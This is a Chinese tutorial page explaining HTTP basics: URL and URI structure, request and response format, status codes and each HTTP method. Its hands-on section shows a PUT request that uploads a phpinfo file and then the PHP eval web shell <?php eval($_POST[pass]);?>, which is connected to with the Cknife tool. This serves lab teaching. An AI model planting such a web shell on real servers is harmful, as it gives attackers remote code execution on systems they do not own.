HTTP协议简介

什么是HTTP

超文本传输协议( HyperText Transfer Protoco,缩写:HTTP)是一种用于分布式、协作式和超媒体信息系统的应用层协议。
HTTP(HyperText Transfer Protocol,超文本传输协议)是一个基于请求与响应,无状态的,应用层的协议常基于TCP/IP协议传输数据·互联网上应用最为广泛的一种网络协议,所有的WWW文件都必须遵守这个标准。
设计HTTP的初衷是为了提供一种发布和接收HTML页面的方法

HTTP工作流程

客户端通过TCP三次握手与服务器建立连接
TCP建立连接成功后,向服务器发送HTTP请求
服务器收到HTTP请求后,向客户端发送http响应
客户端通过TCP四次断开,与服务器断开TCP连接

什么是B/S、C/S架构
C/S(Client/Server)客户机和服务器结构
B/S(Browser/Server) 浏览器和服务器结构

三次握手
在HTTP 0.9和1.0中,TCP连线在每一次请求/回应对之后关闭。
在HTTP 1.1中,引入了保持连线的机制,一个连接可以重复在多个请求/回应使用
持续连线的方式可以大大减少等待时间,因为在发出第一个请求后,双方不需要重新运行TCP握手程序。
在这里插入图片描述

统一资源定位符(URL)

URL( 统一资源定位符):我们常说的网址,包含了用于查找资源的足够的信息,而一个完整的URL包含下面几部分
在这里插入图片描述
协议方案名: http,ftp,file,mailto,telnet,ldap…
登录信息: 如果网页需要认证时,需要填写该参数,所以是可选项。
服务器地址:可以使P地址形式,也可以是能被DNS解析为IP地址的域名形式
端口号:指定服务器连接的端口号,也选填.不填则指向本协议的默认端口号
带层次的文件路径:获取资源在服务器中的具体地址
查询字符串:针对已指定路径的资源,可使用查询字符串来获取想要的参数,此项也是可选项
片段标识符:信息片段字符串,用来标记已获取资源中的子资源(在文档中的某个位置)。

统一资源标志符(URI)

URI ( Universal Resource ldentifier 统一资源标志符 用来标识抽象或物理资源的一个紧凑字符串。
HTTP是基于客户端/服务端(C/S)的架构模型,通过一个可靠的链接来交换信息,是一个无状态的请求/响应协议。
HTTP使用统一资源标识符 (Uniform Resource ldentifiers, URI) 来传输数据和建立连接。
URI和URL的区别: URL是URI的一个子集
URN=Universal Resource Name 统一资源名称,通过特定命名空间的唯一名称或ID来标识资源
在这里插入图片描述

客户端请求信息

HTTP请求报文:Web客户端向服务器发送的请求
HTTP请求由四个部分组成:请求行 请求头部 空行 请求数据

客户端请求消息

请求行:
Method Request-URI HTTP-Version CRLF
Method:表示请求方法
Request-URI: 是一个统一资源标识符
HTTP-Version: 表示请求的HTTP协议版本
CRLF: 表示回车和换行
请求方法:
在这里插入图片描述
请求头部字段:(Request Header Fields)
Header : Header_Value CRLF
允许客户端传递关于自身的信息和希望的响应形式。
在HTTP/1.1协议中,所有的请求头,除Host外,都是可选的
在这里插入图片描述
空行:
表示请求头结束,请求正文(请求体)开始
请求数据:
GET方法·提交数据时,数据参数会做为URL的一部分放在文件路径后面发送给服务器,被称为查询字符串
http://www.hetianlab.comusername=12345%40gg.com&password=2f7402f…a592b&validateCode=&rtnJson=true
POST方法:发送的数据在请求体中
username=12345%40qq.com&password=2f7402f…a592b&validateCode=&rtnJson=true

服务器响应消息

HTTP响应报文:在接收和解释请求消息后,服务器返回一个HTTP响应消息。
在这里插入图片描述
HTTP响应也由四个部分组成·分别是
状态行
消息报头
空行
响应正文
在这里插入图片描述

状态行:
HTTP-Version Status-Code Reason-Phrase CRLF
。HTTP-Version:表示服务器HTTP协议的版本
Status-Code: 表示服务器发回的响应状态代码
Reason-Phrase:表示状态代码的文本描述。
状态码:
状态代码有三位数字组成,第一个数字定义了响应的类别,且有五种可能取值:
1xx :指示信息–请求已被服务器接收·继续处理
2xx:成功下请求已成功被服务器接收、理解、并接受
3xx:重定向–需要后续操作才能完成这一请求
4xx:客户端错误–请求有语法错误或请求无法实现
5xx: 服务端错误–服务器在处理某个正确请求时发生错误
常见状态码 :
200 OK //客户端请求成功
400 Bad Request //客户端请求有语法错误,不能被服务器所理解
401Unauthorized //请求未经授权,这个状态代码必须和WWW-Authenticate 报头域一起使用
403 Forbidden //服务器收到请求,但是拒绝提供服务
404 Not Found //请求资源不存在,eg:输入了错误的URL
500 Internal Server Error //服务器发生不可预期的错误
503 Server Unavailable //服务器当前不能处理客户端的请求,一段时间后可能恢复正常

服务器响应消息

响应头部字段( Response Header Fields ):
响应报头允许服务器传递不能放在状态行中的附加响应信息,以及关于服务器的信息和对Request-URI所标识的资源进行下一步访问的信息。
在这里插入图片描述
空行:
表示请求头结束,请求正文(请求体)开始
响应数据:
服务器返回的资源内容
[“result”."success”,“message”:null)

HTTP请求方法理解-GET

GET:获取/查询资源
不包含请求主体
在谷歌扩展中下载这个SwitchyOmega(需要科学上网)代理模式HTTP 127.0.0.1 端口8080
第一种
在这里插入图片描述
第二种
请注意下面的localhost是说假如有以下符合的ip他会去走这个ip而不会去走代理
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

HTTP请求方法理解-POST

POST:在Request-URI所标识的资源后附加新的数据用于向指定资源发送数据,指定的资源会对数据进行处理,然后将处理结果返回给客户端,一般用于表单提交文件上传
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
还有一种是文件上传
在这里插入图片描述

在这里插入图片描述
POST提交数据的几种Content-Type:
application/x-www-form-urlencoded: 最常见的POST提交数据方式,浏览器支持的原生form表单
multipart/form-data : 这种方式一般用来上传文件
application/ison:在响应头中很常见,在请求头中用来告诉服务端消息主体是序列化后的son字符串

HTTP请求方法理解-HEAD

HEAD: 请求获取由Request-URI所标识的资源的响应消息报头首部,不会返回报文主体
在这里插入图片描述

HTTP请求方法理解-OPTIONS

OPTIONS:查询资源支持的方法
在这里插入图片描述

HTTP请求方法理解-PUT

PUT: 请求服务器存储一个资源,并用Request-URI作为其标识
服务器会将请求主体的内容保存到URL指定的资源位置,包含两种情况
1.URL指定的资源不存在,服务器会新建一个文件,将请求主体中的内容保存到新建的文件里,响应码为201
2.URL指定的资源存在,服务器会重置文件内容,用请求主体中的内容覆盖原文件内容,响应码为200或204
在这里插入图片描述

HTTP请求方法理解-DELETE

DELETE:请求服务器删除Request-URI所标识的资源
在这里插入图片描述
在这里插入图片描述

HTTP请求方法理解-TRACE

TRACE: 路径追踪,请求服务器回送收到的请求信息,主要用于测试或诊断发送的请求是否在客户端与服务端之间传送时被网关、防火墙、代理更改。
在这里插入图片描述

实操

我们找到这个右击发送Repeater
在这里插入图片描述
我们发送之后看到右边的具体信息

在这里插入图片描述
我们把GET换成HEAD 看到只有状态行和响应头部 没有返回响应信息
在这里插入图片描述
我们换成OPTIONS 我们可以看到他支持的请求方法
在这里插入图片描述
我们换成PUT 由于我们用OPTIONS看到他允许二种请求方法 这里没有PUT这个请求方法上面他显示Method Not Allowed(方法不允许)
正常来说支持的话我们可以向服务器存储一个资源并且用Request-URI为其标识
在这里插入图片描述

在这里插入图片描述
我们写入的路劲是put 文件名是info.php 而请求头部和请求主体需要有一个空行 下面是一个<?php phpinfo();?> 右边显示我们文件已经创建
在这里插入图片描述
我们访问可以看见已经创建成功
在这里插入图片描述
我们写入<?php eval($_POST[pass]);?>
在这里插入图片描述
访问没有任何东西 这显示我们已经上传成功了
在这里插入图片描述
通过Cknife我们写入地址和密码 地址就是上面图片的地址 密码就是<?php eval($_POST[pass]);?>的pass
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们换成DELETE 和上面一样的原理
在这里插入图片描述
说明我们已经删除掉了
在这里插入图片描述
通过get方法 说我们已经找不到这个文件了
在这里插入图片描述
我们换成TRACE 他右边正常显示是我们左边主体的内容
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/346308.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用PowerShell命令行,批量修改文件编码

目录 ■前言 ■PowerShell命令 ■效果 ■前言 今天统计修改代码量&#xff0c;使用工具时&#xff0c;发现有些代码无法统计。 原因时UTF-8中有某些特殊字符&#xff0c;工具不能识别。 但是&#xff0c;如果把代码转换为SJIS格式&#xff0c;就能正常统计了。 因此&…

新能源汽车智慧充电桩管理方案:环境监测与充电安全多维感知

随着新能源技术的不断发展&#xff0c;新能源充电桩作为电动汽车的重要基础设施&#xff0c;其管理和维护变得尤为重要。环境监测类传感器能够实时监测充电桩周围的环境参数&#xff0c;如温度、湿度等&#xff0c;为管理人员提供及时、准确的数据&#xff0c;以便做出相应的调…

云手机与实体手机的对比

在数字化时代&#xff0c;云手机作为一种虚拟手机在云端服务器上运行&#xff0c;与传统的实体手机相比存在诸多差异。让我们深入探讨云手机与实体手机之间的区别&#xff0c;以便更好地了解它们的特点和优势。 外观上的差异 实体手机具有实际的外观和重量&#xff0c;占据一定…

[极客大挑战 2019]LoveSQL1

万能密码测试&#xff0c;发现注入点 注意这里#要使用url编码才能正常注入 测试列数&#xff0c;得三列 查看table&#xff0c;一个是geekuser另一个是l0ve1ysq1 查看column&#xff0c;有id&#xff0c;username&#xff0c;password&#xff0c;全部打印出来&#xff0c;…

CSS之高度塌陷和外边距塌陷

目录 1.高度塌陷&#xff08;原因&#xff0c;如何解决&#xff09; 【概念介绍】 【解决办法】 【概念介绍-BFC】 【拓展-BFC的触发条件】 2.外边距塌陷 &#xff08;原因&#xff0c;如何解决&#xff09; 【概念介绍】 【两种情况】 1.相邻块元素 2.嵌套块元素 【…

架构师之路(十六)计算机网络(传输层)

前置知识&#xff08;了解&#xff09;&#xff1a;计算机基础。 作为架构师&#xff0c;我们所设计的系统很少为单机系统&#xff0c;因此有必要了解计算机和计算机之间是怎么联系的。局域网的集群和混合云的网络有啥区别。系统交互的时候网络会存在什么瓶颈。 既然网络层已经…

一款相对比较强大的国产ARM单片机HC32F4A0

已经用了3年的HC32F4A0&#xff0c;已经对它比较熟悉了&#xff0c;与STM32相比它的外设使用这些的确是挺大大&#xff0c;不像GD32一类的单片机很多都能兼容STM32。用久了之后就更喜欢用HC32F4A0&#xff0c;功能强大&#xff0c;外设使用灵活&#xff0c;用点向FPGA靠拢的感觉…

MAX27——处理max模型导出Zbrush中,无UV,或者UV炸开,反向等问题。

现在很多小伙伴要做数字人的时候会用到zbrush拓补高模。制作法线。有些人喜欢在zbrush中去做封套。也有喜欢直接用max做低模&#xff0c;做好的uv导入到Zbrush中&#xff0c;直接把高模法线&#xff0c;烘焙到低模UV的。这里主要讲解以下max导出到zbrush中&#xff0c;UV炸开&a…

来自世坤!寻找Alpha 构建交易策略的量化方法

问&#xff1a;常常看到有人说Alpha seeking&#xff0c;这究竟是什么意思&#xff1f; 推荐这本《Finding Alphas: A Quantitative Approach to Building Trading Strategies》。我拿到的PDF是2019年的第二版。来自WorldQuant&#xff08;世坤&#xff09;的Igor Tulchinshky…

热门技术问答 | 请 GaussDB 用户查收

近年来&#xff0c;Navicat 与华为云 GaussDB 展开一系列技术合作&#xff0c;为 GaussDB 用户提供面向管理开发工具的生态工具。Navicat 现已完成 GaussDB 主备版&#xff08;单节点、多节点&#xff09;和分布式数据库的多项技术对接。Navicat 通过工具的流畅性和实用性&…

内网穿透、远程桌面、VPN的理解

最近在研究内网穿透的相关技术&#xff0c;然后回想起一些相关的技术&#xff0c;比如说要远程桌面公司的电脑&#xff0c;VPN连入内网等。然后想着在此处记录一下&#xff0c;各个的区别&#xff0c;这个纯粹是从技术层面的理解&#xff0c;此处不详细解释怎么去实现或者用什么…

k8s的图形化工具rancher

1、rancher&#xff1a;是一个开源的企业级多集群的k8s管理平台 2、rancher和k8s的区别 &#xff08;1&#xff09;都是为了容器的调度和编排系统 &#xff08;2&#xff09;但rancher不仅能够调度&#xff0c;还能管理k8s集群&#xff0c;自带监控&#xff08;普罗米修斯&a…

仅使用 Python 创建的 Web 应用程序(前端版本)第05章_共通代码

前面介绍了很多,但是让我们从本章开始实现 WTS。 在本章中,我们将实现所有页面的公共部分:SessionManager、MockDB、Model 和 Application。 SessionManger 与 Streamlit 会话交互。 在WTS中,我们的目标是使代码清晰,SessionManager负责读写st.session_state数据。 Mock…

插入排序

插入排序 概述步骤代码示例输出结果 概述 插入排序是一种最简单直观的排序算法&#xff0c;它的工作原理是通过创建有序序列和无序序列&#xff0c;然后再遍历无序序列得到里面每一个数字&#xff0c;把每一个数字插入到有序序列中正确的位置。 插入排序是一种简单直观的排序…

UI 自动化测试框架:PO 模式+数据驱动

1. PO 设计模式简介 什么是 PO 模式&#xff1f; PO&#xff08;PageObject&#xff09;设计模式将某个页面的所有元素对象定位和对元素对象的操作封装成一个 Page 类&#xff0c;并以页面为单位来写测试用例&#xff0c;实现页面对象和测试用例的分离。 PO 模式的设计思想与…

云计算项目五:部署数据库服务mysql |部署共享存储服务NFS | 配置网站服务

部署数据库服务mysql |部署共享存储服务NFS | 配置网站服务 案例1:配置逻辑卷步骤一:创建LV步骤二:格式化案例2:配置数据库服务器步骤一:安装软件MySQL服务软件(2台数据库服务器都要安装)步骤二:挂载lv设备步骤三:启动服务步骤四:管理员登录案例3:配置主从同步步骤一…

wsl利用netsh端口转发实现http代理

1、端口转发 netsh interface portproxy add v4tov4 listenaddress192.168.1.102 listenport10086 connectaddress127.0.0.1 connectport99992 端口检查 上面命令执行完成后&#xff0c;检查命令是否执行成功 netsh interface portproxy show all检查端口是否正常监听 nets…

Spring什么是控制反转IOC和依赖注入DI的关系?什么是IOC容器?IOC容器管理组件的例子

控制反转IOC的概念 控制反转IOC 是Spring的一个思想&#xff0c;我们具象化到它是一个容器&#xff0c;包含并管理组件对象的生命周期&#xff0c;容器主动的将资源注入给需要的组件&#xff0c;开发人员不需要知道容器是如何创建资源对象的&#xff0c;只需要提供接收资源的…

threejs学习

重要概念&#xff08;场景、相机、渲染器&#xff09; 如下图所示&#xff0c;我们最终看到浏览器上生成的内容是通过虚拟场景和虚拟相机被渲染器渲染后的结果&#xff0c;下面首先介绍这三个概念&#xff0c;将贯穿所有简单复杂的threejs项目。 场景 Scene 虚拟的3D场景&a…

【论文+App试玩+图像到视频】2311.Animate-anyone:上传1张图片为任何人制作动画(用于角色动画的一致且可控的图像到视频合成)(暂未开源)

项目主页&#xff1a;https://humanaigc.github.io/animate-anyone/ 论文: Animate Anyone: Consistent and Controllable Image-to-Video Synthesis for Character Animation 摩尔线程复现代码&#xff1a;https://github.com/MooreThreads/Moore-AnimateAnyone 原作者讲解&am…